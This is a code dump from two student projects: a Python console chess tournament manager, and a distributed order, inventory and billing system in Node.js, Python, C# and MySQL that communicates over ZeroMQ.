windows : `env/Scripts/activate.bat` linux / mac : `source env/bin/activate` 4.Install the python packages needed to run the programm using : `pip install -r requirements.txt` 5.Run the launcher using : `python main.py` ## Flake-8 Report To generate a Flake8-html report, use : `flake8 --format=html --htmldir=flake-report` The setup.cfg file is set to 119 for the max line length. You can then open the .html files using any web browser of your choosing. ## Example **Main Menu :** ![alt text](P4examples/Capture.PNG) **New tournament and matches played out :** ![alt text](P4examples/Capture2.PNG) ![alt text](P4examples/Capture3.PNG) ![alt text](P4examples/Capture4.PNG) ![alt text](P4examples/Capture5.PNG) **Player management (add player, edit elo ) :** ![alt text](P4examples/Capture6.PNG) ![alt text](P4examples/Capture8.PNG) **Report example ( show all players ):** ![alt text](P4examples/Capture9.PNG) <file_sep>from ..models import tournaments, round from ..models import player class Controller: """""" def __init__(self, view, inputs, pgetter, tgetter): """ :param view: View object, allowing for controller to display views :param pgetter: player DB manager object from model :param tgetter: tournament DB manager object from model """ self.view = view self.pgetter = pgetter self.tgetter = tgetter self.input = inputs self.tournament = None def run(self): """ :return: main menu views """ choice = self.input.choice_main_menu() funcs_list = [self.new_tt, self.resume_tt, self.edit_players, self.start_reports, quit] funcs_list[choice]() def new_tt(self): """ :return: creates a new tournament, from demo players, or sends user to player picker view """ insert = None while insert is None: name, place, date, timetype, desc =\ self.input.tournament_attr_inputs() self.tournament = tournaments.Tournament(name, place, date, timetype, desc) insert = self.tournament.insert_tournament() if insert is None: self.view.tournament_already_true() players = self.input.add_players() if players == "a": self.demo_players() if players == "b": self.pick_players() def demo_players(self): """ :return: starts first round with demo players """ self.tournament.players = self.pgetter.return_demo() self.tournament.players = self.tournament.sort_by_elo() pcount = 1 for theplayer in self.tournament.players: lname = theplayer.lastName fname = theplayer.firstName elo = theplayer.elo self.view.show_pname(pcount, lname, fname, elo) pcount += 1 self.view.start_first_round() self.first_round() def first_round(self): """ :return: plays first round, and manages scores """ middle = len(self.tournament.players) // 2 lowerhalf = self.tournament.players[:middle] upperhalf = self.tournament.players[middle:] tour1 = [] # création du premier bracket ( matching des joueurs) for ii in range(0, middle): thematch = ([lowerhalf[ii], 0], [upperhalf[ii], 0]) tour1.append(thematch) round1 = round.Round('Round1', tour1) self.tournament.tournees.append(round1) # insertion du round 1 round1.insert_round(self.tournament, 0) # Préparation du match for match in round1.matches: player1 = match[0][0].lastName player2 = match[1][0].lastName elo1 = match[0][0].elo elo2 = match[1][0].elo score1 = match[0][1] score2 = match[1][1] self.view.show_elo_match(player1, player2, elo1, elo2, score1, score2) self.view.start_results() results = self.input.enter_results(round1.matches) self.process_results(results) def next_rounds(self): """ :return: plays the "next round" until round limit is reached """ roundnumber = len(self.tournament.tournees)+1 fstring = f"Round{roundnumber}" sortedscorelist = self.tournament.sort_by_score() nexttour = [] # préparation des nexts brackets for ii in range(0, len(sortedscorelist), 2): thematch = (sortedscorelist[ii], sortedscorelist[ii + 1]) # vérifier si le joueur 1 à déjà jouer avec le joueur 2 if ii == 0: if self.tournament.does_match_exist(thematch): sortedscorelist[1], sortedscorelist[2] =\ sortedscorelist[2], sortedscorelist[1] thematch = (sortedscorelist[ii], sortedscorelist[ii + 1]) nexttour.append(thematch) nextround = round.Round(fstring, nexttour) self.tournament.tournees.append(nextround) # insertion des rounds suivant indexr = roundnumber-1 nextround.insert_round(self.tournament, indexr) # Préparation du match for match in nextround.matches: p1 = match[0][0].lastName p2 = match[1][0].lastName elo1 = match[0][0].elo elo2 = match[1][0].elo s1 = match[0][1] s2 = match[1][1] self.view.show_elo_match(p1, p2, s1, s2, elo1, elo2) self.view.start_results() results = self.input.enter_results(nextround.matches) self.process_results(results) def process_results(self, results): """ :param results: results from the last played match :return: starts next round, or ends tournament if tournament round limit is reached """ index = len(self.tournament.tournees)-1 theround = self.tournament.tournees[index] theround.enter_scores(results) theround.insert_matches(self.tournament, index) if self.tournament.turns == \ len(self.tournament.tournees): self.send_results(theround.matches) self.end_tournament() else: self.send_results(theround.matches) self.view.go_next_round() self.next_rounds() def send_results(self, matches): mcount = 1 for match in matches: p1 = match[0][0].lastName p2 = match[1][0].lastName s1 = match[0][1] s2 = match[1][1] self.view.show_results(mcount, p1, p2, s1, s2) mcount += 1 def end_tournament(self): """ :return: ends tournament and returns to main menu """ self.view.tournament_end_view() sortedscorelist = self.tournament.sort_by_score() ranking = 1 self.view.start_scoreboard() for match in sortedscorelist: ln = match[0].lastName fn = match[0].firstName elo = match[0].elo score = match[1] self.view.scoreboard(ranking, ln, fn, elo, score) ranking += 1 self.view.end_scoreboard() self.run() def pick_players(self): """ :return: user picks 8 players ID, and plays first round """ choicelist = self.pgetter.return_players() pidlist = self.input.player_choice_picker(choicelist) playerlist = [] for pid in pidlist: playerlist.append(self.pgetter.get_player_by_id(pid)) self.tournament.players = playerlist self.tournament.players = self.tournament.sort_by_elo() pcount = 1 for theplayer in self.tournament.players: lname = theplayer.lastName fname = theplayer.firstName elo = theplayer.elo self.view.show_pname(pcount, lname, fname, elo) pcount += 1 self.view.start_first_round() self.first_round() def edit_players(self): """ :return: menu choice list """ choice = self.input.edit_players_menu() func_list = [self.add_players, self.edit_elo_players, self.run] func_list[choice]() def add_players(self): """ :return: adding player according to input returned by the view """ fname, lname, bdate, genre, elo = self.input.add_player_view() newplayer = player.Player(fname, lname, bdate, genre, elo) newplayer.insert_player() choice = self.input.continue_adding() if choice == 'y': self.add_players() else: self.run() def edit_elo_players(self): """ :return: player elo edit, until "a" key press """ players = self.pgetter.return_players() index = self.input.show_players_edit(players) if index == 'm': self.edit_players() playerind = (players[int(index)-1]) new_elo = self.input.edit_elo(playerind) playerind.modify_elo(new_elo) self.edit_elo_players() def start_reports(self): """ :return: reports menu choice picker """ choice = self.input.reports_menu() choice_func = [ self.all_player_alpha_sort, self.all_players_elo_sort, self.tournament_alpha_sort, self.tournament_elo_sort, self.all_tournaments, self.list_all_rounds, self.list_all_matches, self.run ] choice_func[choice]() def all_player_alpha_sort(self): """ :return:sends a list of all players to the view, sorted alphebetically """ all_players = self.pgetter.return_players() all_players.sort(key=lambda x: x.lastName) self.view.start_all_player_view() pcount = 1 for theplayer in all_players: lname = theplayer.lastName fname = theplayer.firstName elo = theplayer.elo self.view.show_pname(pcount, lname, fname, elo) pcount += 1 self.view.return_to_report_menu() self.start_reports() def all_players_elo_sort(self): """ :return: sends a list of all players to the view, sorted by elo """ all_players = self.pgetter.return_players() all_players.sort(key=lambda x: x.elo, reverse=True) self.view.start_all_player_view() pcount = 1 for theplayer in all_players: lname = theplayer.lastName fname = theplayer.firstName elo = theplayer.elo self.view.show_pname(pcount, lname, fname, elo) pcount += 1 self.view.return_to_report_menu() self.start_reports() def tournament_alpha_sort(self): """ :return: sends a list of all players in one tournament, sorted alphabetically """ tidlist = self.tgetter.return_all_tournaments_id() tlist = self.tgetter.tourid_to_tour(tidlist) tourid = self.input.tournament_choice_picker(tlist) if tourid == 'm': self.run() pidlist = self.tgetter.return_player_tournament(tourid) playerlist = [] for pid in pidlist: playerlist.append(self.pgetter.get_player_by_id(pid)) playerlist.sort(key=lambda x: x.lastName) pcount = 1 for theplayer in playerlist: lname = theplayer.lastName fname = theplayer.firstName elo = theplayer.elo self.view.show_pname(pcount, lname, fname, elo) pcount += 1 self.view.return_to_report_menu() self.start_reports() def tournament_elo_sort(self): """ :return: sends a list of all players in one tournament, sorted by elo """ tidlist = self.tgetter.return_all_tournaments_id() tlist = self.tgetter.tourid_to_tour(tidlist) tourid = self.input.tournament_choice_picker(tlist) if tourid == 'm': self.run() pidlist = self.tgetter.return_player_tournament(tourid) playerlist = [] for pid in pidlist: playerlist.append(self.pgetter.get_player_by_id(pid)) playerlist.sort(key=lambda x: x.elo, reverse=True) pcount = 1 for theplayer in playerlist: lname = theplayer.lastName fname = theplayer.firstName elo = theplayer.elo self.view.show_pname(pcount, lname, fname, elo) pcount += 1 self.view.return_to_report_menu() self.start_reports() def all_tournaments(self): """ :return: all tournaments """ tidlist = self.tgetter.return_all_tournaments_id() tlist = self.tgetter.tourid_to_tour(tidlist) self.view.start_all_tournament() for tournament in tlist: name = tournament[0] place = tournament[1] date = tournament[2] timetype = tournament[3] self.view.list_all_tournaments(place, date, name, timetype) self.view.return_to_report_menu() self.start_reports() def list_all_rounds(self): """ :return: all rounds from one tournament """ tidlist = self.tgetter.return_all_tournaments_id() tlist = self.tgetter.tourid_to_tour(tidlist) tourid = self.input.tournament_choice_picker(tlist) if tourid == 'm': self.run() rlist = self.tgetter.return_rounds(tourid) self.view.start_all_rounds() for rounds in rlist: self.view.list_all_rounds(rounds[2]) self.view.return_to_report_menu() self.start_reports() def list_all_matches(self): """ :return: all matches from one tournament """ tidlist = self.tgetter.return_all_tournaments_id() tlist = self.tgetter.tourid_to_tour(tidlist) tourid = self.input.tournament_choice_picker(tlist) if tourid == 'm': self.run() mlist = self.tgetter.return_all_matches(tourid) # récupération des noms de joueurs par leur ID for match in mlist: pid1toid = self.pgetter.get_player_by_id(match[0]) match[0] = pid1toid.firstName pid2toid = self.pgetter.get_player_by_id(match[1]) match[1] = pid2toid.firstName matchcount = 1 roundcount = 1 # chaque 4 match, display un round for match in mlist: player1 = match[0] player2 = match[1] result1 = match[2] result2 = match[3] self.view.list_all_matches(matchcount, player1, result1, player2, result2,) if matchcount % 4 == 0 and roundcount != 4: matchcount = 1 roundcount += 1 self.view.all_matches_seperator(roundcount) else: matchcount += 1 self.view.return_to_report_menu() self.start_reports() def resume_tt(self): """ :return: resumes the chosen unfinished tournament """ # list all unfinished tournaments ( get the tour ids that # don't have 16 matches, and display it unfin = self.tgetter.return_unfinished_tourids() tlist = self.tgetter.tourid_to_tour(unfin) choice = self.input.tournament_choice_picker(tlist) if choice == 'm': self.run() tourid = unfin[choice] name, place, date, timetype, desc = tlist[choice] self.tournament = tournaments.Tournament(name, place, date, timetype, desc) roundid = self.tgetter.where_were_we(tourid) # 2 choices, either we have no matches, then we pick players # and start a brand "new" tournament, or we have matches # and resumes to the next round if roundid == 0: players = self.view.add_players() if players == "a": self.demo_players() if players == "b": self.pick_players() else: mlist = self.tgetter.return_all_matches(tourid) # ajout des joueurs dans le tournoi # et création des matchs dans un tuple(list) matchcount = 1 roundcount = 1 playerlist = [] matchlist = [] for match in mlist: player1 = self.pgetter.get_player_by_id(match[0]) player2 = self.pgetter.get_player_by_id(match[1]) result1 = match[2] result2 = match[3] matchlist.append(([player1, result1], [player2, result2])) # ajout des joueurs en prenant graces aux premiers matchs if matchcount <= 4: playerlist.append(player1) playerlist.append(player2) # un round = match count en modulo 4 if matchcount % 4 == 0: fstring = f"Round{roundcount}" theround = round.Round(fstring, matchlist) self.tournament.tournees.append(theround) roundcount += 1 matchlist = [] matchcount += 1 self.tournament.players = playerlist self.next_rounds() <file_sep>class Views: """""" @staticmethod def tournament_already_true(): """ :return: use when tournament already exists """ print('Tournament already exists\n') @staticmethod def show_pname(pcount, lname, fname, elo): """ :param pcount: player number n in the list of players :param lname: last name :param fname: first name :param elo: chess elo :return: player description view """ fstring = f"Player {pcount} : {fname} {lname} - Elo = {elo}" print(fstring) @staticmethod def start_first_round(): """ :return: wait user input to start round """ input("\nPress any key to start first Round...\n") @staticmethod def show_elo_match(p1, p2, s1, s2, elo1, elo2): """ :param p1: player 1 last name :param p2: player 2 last name :param s1: score player 1 :param s2: score player 2 :param elo1: elo player 1 :param elo2: elo player 2 :return: view of upcoming match """ fstring = f"{p1}({elo1}) [{s1}] vs" \ f" [{s2}] {p2}({elo2})" print(fstring) @staticmethod def start_results(): """ :return: waiting for input to enter results """ input("\nPress any key to enter results\n") @staticmethod def show_results(mcount, p1, p2, s1, s2): """ :param mcount: match index in the controller list :param p1: player 1 :param p2: player 2 :param s1: score 1 :param s2: score2 :return: match results """ fstring = f"Match {mcount}\n{p1} [{s1}]:" \ f"[{s2}] {p2}" print(fstring) @staticmethod def start_scoreboard(): """ :return: scoreboard first view """ print("\nHere's the scoreboard") @staticmethod def scoreboard(ranking, ln, fn, elo, score): """ :param ranking: tournament rank :param ln: player first lame :param fn: player first name :param elo: player eloelo :param score: score in the tournament :return: tournament total scoreboard """ fstring = f"{ranking} : [{score}] {ln} {fn} - {elo}" print(fstring) @staticmethod def end_scoreboard(): """ :return: scoreboard last view """ input("\nPress any key to end tournament" " and return to main menu...\n") @staticmethod def go_next_round(): """ :return: waiting user input to go next round """ input("Press any key to start next Round...\n") @staticmethod def tournament_end_view(): """ :return: waiting user input to see scoreboard """ print("\nThis is the end!") input("Press any Key to go to view scoreboard...") @staticmethod def resume_tournament(): """ :return: view to resume a tournament """ print("Resuming previous tournament...") @staticmethod def start_all_player_view(): """ :return: start view all players """ print("\n\nHere's the list of all players:\n") @staticmethod def return_to_report_menu(): """ :return: waits for input to return to main menu """ input("Press any key to return to report menu...") @staticmethod def start_all_tournament(): """ :return: use to start the list all tournaments """ print("\nHere's the list of all tournaments :") @staticmethod def start_all_rounds(): """ :return: use to start the list all rounds """ print("\nHere's the list of all the rounds :") @staticmethod def list_all_tournaments(place, date, name, timetype): """ :param place: tournament place :param date: tournament date :param name: tournament name :param timetype: tournament timetype :return: tournament description list """ fstring = f"{place} {date} - {name} - {timetype}" print(fstring) @staticmethod def list_all_rounds(rounds): """ :param rounds: a round name :return: a round name """ print(rounds) @staticmethod def list_all_matches(matchcount, player1, result1, player2, result2,): """ :param matchcount: match index in match list :param player1: player 1 firstname :param result1: result from match player 1 :param player2: player 2 first name :param result2: result from match player 2 :return: a view of a match """ fstring = f"Match {matchcount} : {player1} [{result1}]" \ f" - [{result2}] {player2}" print(fstring) @staticmethod def all_matches_seperator(roundcount): """ :param roundcount: round index in match list %4 :return: a round name """ fstring2 = f"\nRound {roundcount} :" print(fstring2) <file_sep>from .models import managedb from .controller import controller, inputs from .views import views, inputviews class Application: def __init__(self): self.view = views.Views() self.inputviews = inputviews.InputViews() self.inputs = inputs.Input(self.inputviews) self.pgetter = managedb.PlayerDb() self.tgetter = managedb.TournamentDb() self.ctrler = controller.Controller(self.view, self.inputs, self.pgetter, self.tgetter) def run(self): self.ctrler.run()
6afbcb92d4d6d52ab25c5f1e8964f7f2beb26faa
[ "Markdown", "Python" ]
10
Python
jdoucet-OC/P4MVC
dd645e141e290d2d0af4b7ff45a38d0a14634749
7157bc5ef738ddc50e23569cb63c31f415cdded9
refs/heads/master
<repo_name>cristhianpj10/Proyecto_Distribuidos<file_sep>/Code/Facturacion/Facturacion/Facturacion.LogicaNegocio/FacturaLN.cs using System; using System.Collections.Generic; using System.Text; using Facturacion.AccesoDatos; using Facturacion.Entidades; namespace Facturacion.LogicaNegocio { public class FacturaLN { readonly FacturaDA facturaDA = new FacturaDA(); public void InsertarFactura(EFactura_Request factreq) { EFactura factura = new EFactura { id_cliente = factreq.dni, estado_fac = "Sin Cancelar" }; facturaDA.InsertarFactura(factura); } public int MaxFactura() { return facturaDA.MaxFactura(); } public double MontobyId(int id) { return facturaDA.MontobyId(id); } } } <file_sep>/Code/ProcesamientoOrdenes/views/scripts.js var frutas = []; let id=1; function agregar(cantidad,nombre,precio){ producto = {} ; producto.idp = id producto.nombre = nombre; producto.cantidad= parseInt(cantidad); producto.diferencia=0; producto.precio = parseFloat(precio) frutas.push(producto); Swal.fire( 'Felicidades!', `ha agregado! ${cantidad} ${nombre} al carrito`, 'success' ) console.log(frutas); $.post("/acumular",{prod:JSON.stringify(frutas)}) id++; } function enviarProductos(){ console.log("se ha enviado",frutas); $.post('/comprar',{'monto':JSON.stringify(frutas)}) .done(resp=>{ alert(resp); }); } function asignarValor(){ $.get("/datos").done(resp => { let total= resp; document.getElementById("total-pagar").value=total; }); verificarCantidad(); let total=0; // frutas.forEach(fruta=>{ // total= totalfruta.cantidad*fruta.precio; // }) } function enviarPago() { let monto = $('#ingresar-pago').val(); $.post("/comprar", { monto: monto }).done(resp => { let valor = parseFloat(resp); if(valor<0){ valor = -1*valor Swal.fire( 'Error', `No ha ingresado un monto suficiente, le falta ${valor} dolares`, 'info' ) document.getElementById("por-pagar").value=valor; }else{ Swal.fire( 'Felicidades', `La compra se realizo con exito , gracias!!!`, 'success' ) } }); } function enviarPagoCuentasXCobrar(){ console.log("enviando pago..."); } function verificarCantidad(){ $.post("/verificar", null).done(resp => { let respuesta =resp; if(respuesta=="false"){ Swal.fire( 'Error', `No hay sufuciente stock`, 'error' ) }else{ Swal.fire( 'OK', `Todo ok`, 'success' ) document.getElementById("pagarMonto").disabled=false; document.getElementById("verificarStock").disabled=true; } }); } <file_sep>/Code/ProcesamientoOrdenes/views/index.js var trs = document.querySelectorAll('tbody tr'); console.log(trs) trs.forEach(tr => { tr.addEventListener('change',()=>{ console.log("Hola desde javascript ") }) }); <file_sep>/Code/Facturacion/Facturacion/Facturacion.LogicaNegocio/OrdenLN.cs using Facturacion.AccesoDatos; using Facturacion.Entidades; using System; using System.Collections.Generic; using System.Text; namespace Facturacion.LogicaNegocio { public class OrdenLN { readonly OrdenDA orden = new OrdenDA(); public void InsertarOrden(EFactura_Request factura, int id) { orden.InsertarOrden(factura, id); } } } <file_sep>/Docs/sd_db.sql DROP DATABASE sd_db; CREATE DATABASE sd_db; USE sd_db; -- select User from mysql.user; /* CREATE USER 'us_cat' IDENTIFIED BY 'pass_cat'; CREATE USER 'us_alm' IDENTIFIED BY 'pass_alm'; CREATE USER 'us_fct' IDENTIFIED BY 'pass_fct'; GRANT ALL PRIVILEGES ON sd_db.tb_productos TO 'us_cat'; GRANT ALL PRIVILEGES ON sd_db.tb_productos TO 'us_cat'@'%' IDENTIFIED BY 'pass_cat'; */ CREATE TABLE tb_clientes ( id_cli INT(8) NOT NULL, nom_cli VARCHAR(50) NOT NULL, app_cli VARCHAR(50), apm_cli VARCHAR(50), PRIMARY KEY (id_cli) ); CREATE TABLE tb_productos ( id_prd INT(8) NOT NULL AUTO_INCREMENT, nom_prd VARCHAR(30) NOT NULL, dsc_prd VARCHAR(50), mrc_prd VARCHAR(30), prc_prd FLOAT NOT NULL, und_prd VARCHAR(5), PRIMARY KEY (id_prd) ); CREATE TABLE tb_stock ( FK_id_prd INT(8) NOT NULL, stock FLOAT, PRIMARY KEY (FK_id_prd), FOREIGN KEY (FK_id_prd) REFERENCES tb_productos(id_prd) ); CREATE TABLE tb_facturas ( id_fct INT(8) NOT NULL AUTO_INCREMENT, FK_id_cli INT(8) NOT NULL, tot_fct FLOAT, est_fct VARCHAR(15), mnt_pgd FLOAT DEFAULT 0, PRIMARY KEY (id_fct), FOREIGN KEY (FK_id_cli) REFERENCES tb_clientes(id_cli) ); CREATE TABLE tb_ordenes ( id_ord INT(8) NOT NULL AUTO_INCREMENT, FK_id_fct INT(8) NOT NULL, FK_id_prd INT(8) NOT NULL, cant FLOAT, cost FLOAT, PRIMARY KEY (id_ord), FOREIGN KEY (FK_id_fct) REFERENCES tb_facturas(id_fct), FOREIGN KEY (FK_id_prd) REFERENCES tb_productos(id_prd) ); /* DROP TABLE tb_ordenes; DROP TABLE tb_facturas; DROP TABLE tb_stock; DROP TABLE tb_productos; DROP TABLE tb_clientes; DROP DATABASE sd_db; */<file_sep>/Code/ProcesamientoOrdenes/index.js const express = require('express') const path = require('path') const app = express() var body_parser = require('body-parser'); const zmq = require('zeromq'); //configuracion // app.use(express.static(__dirname)); app.use(express.static(__dirname + '/views')); app.set('view engine','ejs'); app.use(require('./routes/send')); app.use(body_parser.urlencoded({extended:true})); var procesamientoOrdenes = { origen:"Ordenes", destino:"Inventario", dni:"21436587", pedidos:[], reservar:false, monto:0, vuelto:0 } var productos = []; //routes app.get('/', function (req, res) { res.render('login') }) app.post("/login",(req,res)=>{ // res.render('productos',{success:''}) let dni = req.body.username; procesamientoOrdenes.dni=dni; console.log("********************") console.log(procesamientoOrdenes); console.log("********************") res.redirect("/productos"); }) app.post("/acumular",(req,res)=>{ console.log("entro a acumular los productos") productos = JSON.parse(req.body.prod); console.log(productos); res.render('productos',{success:''}); }) app.get('/productos',function(req,res){ res.render('productos',{success:''}) }) app.post('/pagar',function(req,res){ res.redirect('/pago'); }) app.get('/pago',(req,res)=>{ console.log("entro a pago"); res.render('pago',{ productos : productos }); }) // app.post("/comprar",(req,res)=>{ // let monto = req.body.monto; // console.log("**********************************"); // console.log(monto); // procesamientoOrdenes.pedidos=productos // let total = 0; // procesamientoOrdenes.monto=parseInt(monto); // console.log(procesamientoOrdenes); // res.redirect('/productos') // }) app.post('/verificar',async (req,res)=>{ console.log("*******Realizando la verificacion*********"); procesamientoOrdenes.pedidos=productos // procesamientoOrdenes.monto=parseInt(monto); console.log(procesamientoOrdenes); console.log('Connecting to Inventario server…'); // Socket to talk to server const sock = new zmq.Request(); sock.connect('tcp://172.16.58.3:5050'); await sock.send(JSON.stringify(procesamientoOrdenes)); const [result] = await sock.receive(); console.log("******************") console.log('Received ', result.toString()); console.log("******************") let resultado = result.toString(); // console.log(typeof(resultado)); resultado2 = JSON.parse(resultado) let reservar= resultado2.reservar; res.send(reservar.toString()); }) app.post('/comprar',async (req,res)=>{ let monto = req.body.monto; console.log("**************Realizando el pago***********"); console.log(monto); procesamientoOrdenes.destino="Cuentas"; procesamientoOrdenes.pedidos=productos procesamientoOrdenes.monto=parseFloat(monto); console.log(procesamientoOrdenes); const sock = new zmq.Request(); sock.connect('tcp://172.16.17.32:5051'); await sock.send(JSON.stringify(procesamientoOrdenes)); const [result] = await sock.receive(); console.log("******************") console.log('Received ', result.toString()); console.log("******************") let resultado = result.toString(); // console.log(typeof(resultado)); let respuesta = JSON.parse(resultado); let vuelto = respuesta.vuelto; // resultado2 = JSON.parse(resultado) // console.log(resultado2.reservar); //aca enviare la informacion // comunicacion con los otros servidores res.send(vuelto.toString()); }) app.get("/datos",(req,res)=>{ console.log("**aa**") let total=0; productos.forEach(producto=>{ total+=producto.precio*producto.cantidad; }) res.send(total.toString()); }) // ****************************** app.post('/pruebarest',function(req,res){ var cuerpo =req.body.data; console.log("estoo ha llegado ",cuerpo); res.send("Hola mundo"); }) var productos = [ { 'nombre':'Prod001', 'cantidad':0, 'dni':"12345678" }, { 'nombre':'Prod002', 'cantidad':0, 'dni':"12345678" }, { 'nombre':'Prod003', 'cantidad':0, 'dni':"12345678" } ] app.post('/cuerpo',async(req,res)=>{ var cuerpo =req.body let {panasonic,mica,packard} = cuerpo; panasonic = parseInt(panasonic); mica = parseInt(mica); packard = parseInt(packard); console.log(panasonic,mica,packard); productos[0].cantidad=panasonic productos[1].cantidad=mica; productos[2].cantidad=packard; console.log("Productos " ,productos); console.log('Connecting to Inventario server…'); // Socket to talk to server const sock = new zmq.Request(); sock.connect('tcp://172.16.58.3:9092'); await sock.send(JSON.stringify(productos)); const [result] = await sock.receive(); console.log("******************") console.log('Received ', result.toString()); console.log("******************") let resultado = result.toString(); console.log(typeof(resultado)); res.render('index', {success:'Gracias por su compra !! '}) }) app.listen(3000,()=>{ console.log("Hola estoy corriendo en el puerto 3000") }) <file_sep>/Code/Facturacion/Facturacion/Facturacion.AccesoDatos/OrdenDA.cs using Facturacion.Entidades; using MySql.Data.MySqlClient; using System; using System.Collections.Generic; using System.Text; namespace Facturacion.AccesoDatos { public class OrdenDA : ConexionToMySQL { public void InsertarOrden(EFactura_Request facreq, int id) { using (var conexion = GetConnection()) { conexion.Open(); foreach(var item in facreq.pedidos) { MySqlCommand cmd = new MySqlCommand("insert into tb_ordenes (FK_id_fct,FK_id_prd, cant, cost) values (@fac, @prod, @cant, @cost)", conexion); cmd.Parameters.AddWithValue("@fac", id); cmd.Parameters.AddWithValue("@prod", item.idp); cmd.Parameters.AddWithValue("@cant", item.cantidad); cmd.Parameters.AddWithValue("@cost", item.costo); cmd.ExecuteNonQuery(); } } } } } <file_sep>/Code/Facturacion/Servidor/Servidor/Servidor.cs using NetMQ; using NetMQ.Sockets; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Text.Json; using System.Threading; namespace ServidorCuentas { static class Servidor { public static void Main() { var obj = new RootObject(); /*obj.items = new List<Factura> { new Factura {id_producto = 1, id_cliente = 12345678, nombre = "Joel", cantidad = 2, diferencia = 5 }, new Factura {id_producto = 2, id_cliente = 12345678, nombre = "Joel", cantidad = 2, diferencia = 5 } }; */ /*var jeison = new Json { id_producto = 1, id_cliente = 12345678, nombre = "Joel", cantidad = 2, diferencia = 5 };*/ // string json = JsonConvert.SerializeObject(obj); using (var responder = new ResponseSocket()) { responder.Bind("tcp://*:2104"); while (true) { string str = responder.ReceiveFrameString(); Console.WriteLine(str); //Console.WriteLine("Received Hello"); Thread.Sleep(1000); // Do some 'work' responder.SendFrame("Recibido por CuentasxCobrar"); } } } } } <file_sep>/Code/Inventario-Reserva/prueba.py import json import zmq from Inventario.objeto import Message, Pedido ## PRUEBA DEL NUEVO JSON ## Es necesario pasarle una lista de diccionarios al Message ## para que se pueda convertir a json req = [] req.append(Pedido(-1, "Prod004", 18, 0, 0.0).__dict__) req.append(Pedido(-1, "Prod005", 18, 0, 0.0).__dict__) req.append(Pedido(-1, "Prod006", 18, 0, 0.0).__dict__) req.append(Pedido(-1, "Prod007", 18, 0, 0.0).__dict__) mss = Message("Prueba", "Inventario", "12345678", req, False) print("Objeto: ") print(mss) print("Req: ") print(req) print(type(req)) print("json: ") jsonStr = json.dumps(mss.__dict__) print(jsonStr) print(type(jsonStr)) print("\nAHORA AL REVES\n") jsonDict = json.loads(jsonStr) print("jsonDict: ") print(jsonDict) print(type(jsonDict)) campo = jsonDict["pedidos"] print(campo) print(type(campo)) subCampo = campo[3]["nombre"] print(subCampo) print(type(subCampo)) dirPrueba = "tcp://localhost:9092" ctxtPrueba = zmq.Context() # Socket to talk to server print("Connecting to Inventario server…") scktPrueba = ctxtPrueba.socket(zmq.REQ) scktPrueba.connect(dirPrueba) # 172.16.17.32 #scktInv.connect("tcp://172.16.17.32:9092") #scktInv.send_json(jsonObj) scktPrueba.send_string(jsonStr) message = scktPrueba.recv() print(message) #print(json.dumps(json.loads(message), indent=4)) <file_sep>/Code/Inventario-Reserva/Inventario/main.py import mysql.connector from mysql.connector import errorcode from Inventario import Inventario import zmq import json def getStringFromBytes(jsonBytes): print("Getting bytes... Returning string...\n") return jsonBytes.decode("utf-8") def getJsonFromString(jsonString): print("Getting string... Returning json (dict)...\n") return json.loads(jsonString) def getStringFromJson(jsonDict): print("Getting string... Returning json (dict)...\n") return json.dumps(jsonDict) def getJsonFromBytes(jsonBytes): print("Getting bytes... Returning json (dict)...\n") jsonDict = json.loads(jsonBytes.decode("utf-8")) return jsonDict def setDestino(jsonDict, destino): jsonDict["origen"] = "Inventario" jsonDict["destino"] = destino return jsonDict ############################################# ##### ----- Esto se va a ejecutar ----- ##### ############################################# dirReserva = "tcp://172.16.31.10:5052" dirFacturacion = "tcp://192.168.3.11:5053" dirOrdenes = "tcp://*:5050" # Crea contexto para el módulo del Procesamiendo de Órdenes ctxtOrd = zmq.Context() scktOrd = ctxtOrd.socket(zmq.REP) scktOrd.bind(dirOrdenes) print("*** MÓDULO DE INVENTARIO ***") while True: print("Esperando solicitudes...\n") # Recibo un flujo de bytes con una lista de jsons jsonBts = scktOrd.recv() # Convierto el flujo de bytes en el json jsonLst = getJsonFromBytes(jsonBts) print("> Solicitud Recibida") lstResp = Inventario.getSuficiente(jsonLst) #reservar = Inventario.getReservar(lstResp) reservar = lstResp["reservar"] # La respuesta al módulo de órdenes será la lista armada # en formato de cadena json lstResp = setDestino(lstResp, "Ordenes") resp = getStringFromJson(lstResp) scktOrd.send_string(resp) if (reservar): lstResp = setDestino(lstResp, "Reserva") Inventario.sendJson(lstResp, dirReserva) lstResp = setDestino(lstResp, "Facturacion") Inventario.sendJson(lstResp, dirFacturacion) #Inventario.sendJson(lstResp, dirFacturacion) <file_sep>/Code/Facturacion/Facturacion/Facturacion.AccesoDatos/ConexionToMySQL.cs using MySql.Data.MySqlClient; using System; namespace Facturacion.AccesoDatos { public abstract class ConexionToMySQL { private readonly string mysql_conexion; //Crearemos la cadena de conexión concatenando las variables public ConexionToMySQL() { mysql_conexion = "Database= sd_db; Data Source=172.16.58.3; User Id=root; Password=<PASSWORD>"; } protected MySqlConnection GetConnection() { return new MySqlConnection(mysql_conexion); } } }<file_sep>/Code/Facturacion/Facturacion/Facturacion/Servidor.cs using Facturacion.Entidades; using Facturacion.LogicaNegocio; using NetMQ; using NetMQ.Sockets; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Text; namespace Facturacion { public class Servidor { readonly FacturaLN facturaBL = new FacturaLN(); readonly OrdenLN ordenBL = new OrdenLN(); readonly DetalleFacturaLN dfacturaBL = new DetalleFacturaLN(); public void Recibir() { using (var responder = new ResponseSocket()) { responder.Bind("tcp://*:5053"); while (true) { Console.WriteLine("Esperando solicitudes..."); string str = responder.ReceiveFrameString(); //Console.WriteLine(str); EFactura_Request obj1 = JsonConvert.DeserializeObject<EFactura_Request>(str); Console.WriteLine("Hecho"); facturaBL.InsertarFactura(obj1); int id_factura = facturaBL.MaxFactura(); ordenBL.InsertarOrden(obj1, id_factura); List<EDetalleFactura> dfactura = dfacturaBL.Todos(obj1.dni, id_factura); Console.WriteLine("---------------------------------------------------------------------------"); Console.WriteLine("Cliente: "+dfactura[1].cliente); Console.WriteLine("\t\tProducto" + "\tPrecio" + "\tCantidad" + "\tMonto"); Console.WriteLine("---------------------------------------------------------------------------"); foreach (var item in dfactura) { Console.WriteLine("\t\t" + item.nom_prod + "\t\t" + string.Format("{0:0.00}", item.prec_prod) + "\t" + item.cantidad + "\t\t" + item.monto); } Console.WriteLine("---------------------------------------------------------------------------"); responder.SendFrame("Recibido por Facturacion"); //client.Enviar(); } } } } } <file_sep>/Code/Facturacion/Facturacion/Facturacion.AccesoDatos/FacturaDA.cs using Facturacion.Entidades; using System; using 